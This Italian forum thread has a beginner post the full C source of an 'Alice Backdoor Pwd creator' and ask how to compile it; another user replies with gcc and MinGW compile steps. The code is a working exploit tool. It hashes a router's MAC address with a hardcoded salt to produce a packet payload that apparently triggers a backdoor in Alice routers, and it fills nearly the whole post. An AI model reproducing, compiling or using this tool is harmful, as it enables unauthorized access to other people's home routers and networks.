[condor_uk]

Salve ragà,
volevo chiederVi visto che sono alle prime armi quale programma devo utilizzare per
poter compilare il seguente codice sorgente

Codice: [Seleziona]


/* Alice Backdoor Pwd creator by saxdax */
/* this code generates an 8 byte hash to use as the paylod of the ip packet */
/* modified by legolas558 - MAC address can be passed as command line parameter */
/* payload updated by ragequit to support the latest firmware */

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

#define uint32 uint32_t
#define uint8 uint8_t

typedef struct {
  uint32 state[4];           /* state (ABCD) */
  uint32 total[2];           /* number of bits, modulo 2^64 (lsb first) */
  unsigned char buffer[64];  /* input buffer */
} md5_context;

#define GET_UINT32(n,b,i)                       \
{                                               \
    (n) = ( (uint32) (b)[(i)    ]       )       \
        | ( (uint32) (b)[(i) + 1] <<  8 )       \
        | ( (uint32) (b)[(i) + 2] << 16 )       \
        | ( (uint32) (b)[(i) + 3] << 24 );      \
}

#define PUT_UINT32(n,b,i)                       \
{                                               \
    (b)[(i)    ] = (uint8) ( (n)       );       \
    (b)[(i) + 1] = (uint8) ( (n) >>  8 );       \
    (b)[(i) + 2] = (uint8) ( (n) >> 16 );       \
    (b)[(i) + 3] = (uint8) ( (n) >> 24 );       \
}

void md5_starts( md5_context *ctx )
{
    ctx->total[0] = 0;
    ctx->total[1] = 0;

    ctx->state[0] = 0x67452301;
    ctx->state[1] = 0xEFCDAB89;
    ctx->state[2] = 0x98BADCFE;
    ctx->state[3] = 0x10325476;
}

void md5_process( md5_context *ctx, uint8 data[64] )
{
    uint32 X[16], A, B, C, D;

    GET_UINT32( X[0],  data,  0 );
    GET_UINT32( X[1],  data,  4 );
    GET_UINT32( X[2],  data,  8 );
    GET_UINT32( X[3],  data, 12 );
    GET_UINT32( X[4],  data, 16 );
    GET_UINT32( X[5],  data, 20 );
    GET_UINT32( X[6],  data, 24 );
    GET_UINT32( X[7],  data, 28 );
    GET_UINT32( X[8],  data, 32 );
    GET_UINT32( X[9],  data, 36 );
    GET_UINT32( X[10], data, 40 );
    GET_UINT32( X[11], data, 44 );
    GET_UINT32( X[12], data, 48 );
    GET_UINT32( X[13], data, 52 );
    GET_UINT32( X[14], data, 56 );
    GET_UINT32( X[15], data, 60 );

#define S(x,n) ((x << n) | ((x & 0xFFFFFFFF) >> (32 - n)))

#define P(a,b,c,d,k,s,t)                                \
{                                                       \
    a += F(b,c,d) + X[k] + t; a = S(a,s) + b;           \
}

    A = ctx->state[0];
    B = ctx->state[1];
    C = ctx->state[2];
    D = ctx->state[3];

#define F(x,y,z) (z ^ (x & (y ^ z)))

    P( A, B, C, D,  0,  7, 0xD76AA478 );
    P( D, A, B, C,  1, 12, 0xE8C7B756 );
    P( C, D, A, B,  2, 17, 0x242070DB );
    P( B, C, D, A,  3, 22, 0xC1BDCEEE );
    P( A, B, C, D,  4,  7, 0xF57C0FAF );
    P( D, A, B, C,  5, 12, 0x4787C62A );
    P( C, D, A, B,  6, 17, 0xA8304613 );
    P( B, C, D, A,  7, 22, 0xFD469501 );
    P( A, B, C, D,  8,  7, 0x698098D8 );
    P( D, A, B, C,  9, 12, 0x8B44F7AF );
    P( C, D, A, B, 10, 17, 0xFFFF5BB1 );
    P( B, C, D, A, 11, 22, 0x895CD7BE );
    P( A, B, C, D, 12,  7, 0x6B901122 );
    P( D, A, B, C, 13, 12, 0xFD987193 );
    P( C, D, A, B, 14, 17, 0xA679438E );
    P( B, C, D, A, 15, 22, 0x49B40821 );

#undef F

#define F(x,y,z) (y ^ (z & (x ^ y)))

    P( A, B, C, D,  1,  5, 0xF61E2562 );
    P( D, A, B, C,  6,  9, 0xC040B340 );
    P( C, D, A, B, 11, 14, 0x265E5A51 );
    P( B, C, D, A,  0, 20, 0xE9B6C7AA );
    P( A, B, C, D,  5,  5, 0xD62F105D );
    P( D, A, B, C, 10,  9, 0x02441453 );
    P( C, D, A, B, 15, 14, 0xD8A1E681 );
    P( B, C, D, A,  4, 20, 0xE7D3FBC8 );
    P( A, B, C, D,  9,  5, 0x21E1CDE6 );
    P( D, A, B, C, 14,  9, 0xC33707D6 );
    P( C, D, A, B,  3, 14, 0xF4D50D87 );
    P( B, C, D, A,  8, 20, 0x455A14ED );
    P( A, B, C, D, 13,  5, 0xA9E3E905 );
    P( D, A, B, C,  2,  9, 0xFCEFA3F8 );
    P( C, D, A, B,  7, 14, 0x676F02D9 );
    P( B, C, D, A, 12, 20, 0x8D2A4C8A );

#undef F
   
#define F(x,y,z) (x ^ y ^ z)

    P( A, B, C, D,  5,  4, 0xFFFA3942 );
    P( D, A, B, C,  8, 11, 0x8771F681 );
    P( C, D, A, B, 11, 16, 0x6D9D6122 );
    P( B, C, D, A, 14, 23, 0xFDE5380C );
    P( A, B, C, D,  1,  4, 0xA4BEEA44 );
    P( D, A, B, C,  4, 11, 0x4BDECFA9 );
    P( C, D, A, B,  7, 16, 0xF6BB4B60 );
    P( B, C, D, A, 10, 23, 0xBEBFBC70 );
    P( A, B, C, D, 13,  4, 0x289B7EC6 );
    P( D, A, B, C,  0, 11, 0xEAA127FA );
    P( C, D, A, B,  3, 16, 0xD4EF3085 );
    P( B, C, D, A,  6, 23, 0x04881D05 );
    P( A, B, C, D,  9,  4, 0xD9D4D039 );
    P( D, A, B, C, 12, 11, 0xE6DB99E5 );
    P( C, D, A, B, 15, 16, 0x1FA27CF8 );
    P( B, C, D, A,  2, 23, 0xC4AC5665 );

#undef F

#define F(x,y,z) (y ^ (x | ~z))

    P( A, B, C, D,  0,  6, 0xF4292244 );
    P( D, A, B, C,  7, 10, 0x432AFF97 );
    P( C, D, A, B, 14, 15, 0xAB9423A7 );
    P( B, C, D, A,  5, 21, 0xFC93A039 );
    P( A, B, C, D, 12,  6, 0x655B59C3 );
    P( D, A, B, C,  3, 10, 0x8F0CCC92 );
    P( C, D, A, B, 10, 15, 0xFFEFF47D );
    P( B, C, D, A,  1, 21, 0x85845DD1 );
    P( A, B, C, D,  8,  6, 0x6FA87E4F );
    P( D, A, B, C, 15, 10, 0xFE2CE6E0 );
    P( C, D, A, B,  6, 15, 0xA3014314 );
    P( B, C, D, A, 13, 21, 0x4E0811A1 );
    P( A, B, C, D,  4,  6, 0xF7537E82 );
    P( D, A, B, C, 11, 10, 0xBD3AF235 );
    P( C, D, A, B,  2, 15, 0x2AD7D2BB );
    P( B, C, D, A,  9, 21, 0xEB86D391 );

#undef F

    ctx->state[0] += A;
    ctx->state[1] += B;
    ctx->state[2] += C;
    ctx->state[3] += D;
}

void md5_update( md5_context *ctx, uint8 *input, uint32 length )
{
    uint32 left, fill;

    if( ! length ) return;

    left = ctx->total[0] & 0x3F;
    fill = 64 - left;

    ctx->total[0] += length;
    ctx->total[0] &= 0xFFFFFFFF;

    if( ctx->total[0] < length )
        ctx->total[1]++;

    if( left && length >= fill )
    {
        memcpy( (void *) (ctx->buffer + left),
                (void *) input, fill );
        md5_process( ctx, ctx->buffer );
        length -= fill;
        input  += fill;
        left = 0;
    }

    while( length >= 64 )
    {
        md5_process( ctx, input );
        length -= 64;
        input  += 64;
    }

    if( length )
    {
        memcpy( (void *) (ctx->buffer + left),
                (void *) input, length );
    }
}

static uint8 md5_padding[64] =
{
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};

void md5_finish( md5_context *ctx, uint8 digest[16] )
{
    uint32 last, padn;
    uint32 high, low;
    uint8 msglen[8];
   

    high = ( ctx->total[0] >> 29 )
         | ( ctx->total[1] <<  3 );
    low  = ( ctx->total[0] <<  3 );

    PUT_UINT32( low,  msglen, 0 );
    PUT_UINT32( high, msglen, 4 );

    //for(int i=0;i<8;i++) printf("length %d\n",msglen[i]);
   
   last = ctx->total[0] & 0x3F;
    padn = ( last < 56 ) ? ( 56 - last ) : ( 120 - last );

    md5_update( ctx, md5_padding, padn );
    md5_update( ctx, msglen, 8 );

    PUT_UINT32( ctx->state[0], digest,  0 );
    PUT_UINT32( ctx->state[1], digest,  4 );
    PUT_UINT32( ctx->state[2], digest,  8 );
    PUT_UINT32( ctx->state[3], digest, 12 );
}

//#ifdef TEST

/* those are the standard RFC 1321 test vector */

static char *msg[] =
{
    "",
    "a",
    "abc",
    "message digest",
    "abcdefghijklmnopqrstuvwxyz",
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
    "12345678901234567890123456789012345678901234567890123456789012" \
        "345678901234567890"
};

static char *val[] =
{
    "d41d8cd98f00b204e9800998ecf8427e",
    "0cc175b9c0f1b6a831c399e269772661",
    "900150983cd24fb0d6963f7d28e17f72",
    "f96b697d7cb7938d525a2f31aaf161d0",
    "c3fcd3d76192e4007dfb496cca67e13b",
    "d174ab98d277d9f5a5611c2c9f419d9f",
    "57edf4a22be3c955ac49da2e2107b67a"
};

const char MAC_MASK[] =   "%2x%*1c%2x%*1c%2x%*1c%2x%*1c%2x%*1c%2x";

static char saltOrig[] =
{0x1F,0x94,0x04,0x0E,0xAB,0xEC,0xAA,0x01,0x09,0x6D,0x76,0xEC,0xB6,0x16,0xEF,0x71,0x6B,0xA6,0x5B,0x3B,0x99,0x29,0x5A,0x02,0xBF,0x4C,0xD0,0x74,0x2C,0x23,0x95,0x4B,0x87,0xFC,0x1E,0xAF,0x83,0x2F,0xA8,0x1F,0x2F,0x15,0xC9,0x0F,0x46,0x3A,0xA1,0x2F,0xA5,0x71,0x30,0x2E,0x77,0x58,0xB8,0xD1,0x9F,0x87,0x2A,0x65,0xB9,0xDA,0x46,0xDD,0xDB,0x67,0x7B,0x61,0xA1,0x34,0x54,0x74,0xD2,0x84,0x68,0xBF,0xF7,0x29,0x79,0x42,0x89,0xC9,0xD8,0xBE,0xF7,0xFF,0xC7,0x75,0x7E,0x74,0xD7,0x3F,0x8C,0xBA,0xAE,0x0D,0xF5,0x05,0xD5,0xAE,0xC0,0xC3,0xBE,0xEF,0xEE,0xCC,0xED,0xF2,0xBC,0x9C,0x0B,0xD4,0x35,0x56,0x46,0x60,0xA9,0xF1,0xFE,0x60,0x69,0xCC,0x1D,0xA0,0x0F,0x60,0xAE,0x06,0xB5,0x13,0xB7,0xB4,0x4B,0x09,0x01,0x9C,0x8F,0x45,0x82,0xFB,0x76,0xCE,0xDF,0x1D,0xD4,0x49,0xC3,0xFB,0x24,0xE6,0x51,0xD5,0x7E,0x32,0xE5,0xFE,0x66,0x4A,0x3E,0x40,0x89,0xA7,0x9A,0x91,0x3E,0x6A,0x01,0xD1,0xB6,0x12,0xA9,0xDE,0xEC,0x11,0x6D,0xA0,0x0E,0x80,0xF1,0xD4,0xD2,0x18,0x9F,0x44,0x28,0xF9,0xA5,0x75,0xC4,0x2D,0xBF,0x5D,0xE5,0x83,0x4C,0x1C,0xB0,0xB9,0x20,0x20,0x96,0xE4,0x20,0x23,0x97,0x43,0x12,0x85,0x13,0x17,0xF9,0x77,0x8E,0x6A,0x64,0x50,0xCB,0x97,0x87,0x2F,0x66,0xD1,0xE0,0x54,0x89,0x52,0xCD,0xE4,0xC3,0xDB,0x42,0x9E,0xC7,0xF8,0x32,0x35,0x9E,0x0B,0xAE,0x02,0x10,0x1A,0xA6,0xBA,0x14,0x33,0xCB,0x62,0x08,0x1C,0xF2,0x8D,0xFF,0xD2,0x62,0x6B};

int main( int argc, char *argv[] ) {
   system("color 0a");
   int i, j;
   char output[33];
   md5_context ctx;
   unsigned char md5sum[16];
   unsigned char salt[256];
   printf(   "Alice BackDoor hash creator by saxdax & drPepperOne\n"
         "Modified by legolas558\n"
         "Payload updated by ragequit (4.5.0sx)\n\n");
   if( argc < 2 ) {
      printf( "\n Usage: %s MAC\n\nSpecify MAC address as 00-00-00-00-00-00 or 00:00:00:00:00:00\n\n", argv[0]);
      return 0;
   }
   

   // convert MAC address to binary
   uint8   mac[6];
   i = sscanf_s(argv[1], MAC_MASK, &mac[0], &mac[1], &mac[2], &mac[3], &mac[4], &mac[5] );
   if (i != 6) {
      fprintf(stderr, "Invalid MAC address specified\n");
      return -1;
   }
   
   md5_starts( &ctx );

   md5_update( &ctx, mac, sizeof(mac) );
   
   memcpy(salt, saltOrig, 256);
   
   md5_update( &ctx, salt, 256);

   md5_finish( &ctx, md5sum );
   
   printf("Payload is:\n");
   for( j = 0; j < 8; j++ ) {
      printf( "%02x", md5sum[j] );
   }
   printf("\n");
   return ( 0 );
}

avevo scaricato Netbeans ma non so con quale linguaggio compilare il programma.

Mi dareste una mano con una guida ?

Confido in voi

Saluti

[nirvana1289]

Molto semplice:

Il codice che hai postato è un pezzo di codice completo di main (a occhio e croce in puro C).

Per compilarlo con un ambiente unix, hai bisogno di un compilatore, solitamente si usa gcc. Per una distribuzione che ha apt come gestore dei pacchetti, puoi installarlo molto semplicemente mediante il comando

Codice: [Seleziona]

# apt-get install gcce compilarlo con il comando

Codice: [Seleziona]

$ gcc /posizione/del/file/file.c -o /posizione/del/file/filegcc accetta anche posizioni relative, percui puoi compilarlo spostandoti prima nella directory che lo contiene

Codice: [Seleziona]

$ cd /posizione/del/file
/posizione/del/file $ gcc file.c -o file
/posizione/del/file $ ./file
Per windows i concetti sono abbastanza simili, solo che devi installare minGW, che contiene l'applicativo gcc.exe per compilare sotto windows. Lo puoi trovare qui:
http://sourceforge.net/projects/mingw/files/Installer/mingw-get-inst/
e la spiegazione dettagliata della installazione automatica è qui:
http://www.mingw.org/wiki/Getting_Started
http://www.mingw.org/wiki/InstallationHOWTOforMinGW
Una volta installato, la procedura di compilazione è praticamente uguale, ma invece che il terminale bash, dovrai utilizzare il prompt dei comandi

In alternativa sotto windows puoi utilizzare anche DevC++ (http://www.bloodshed.net/devcpp.html) un IDE completo di compilatore (gcc sempre da minGW)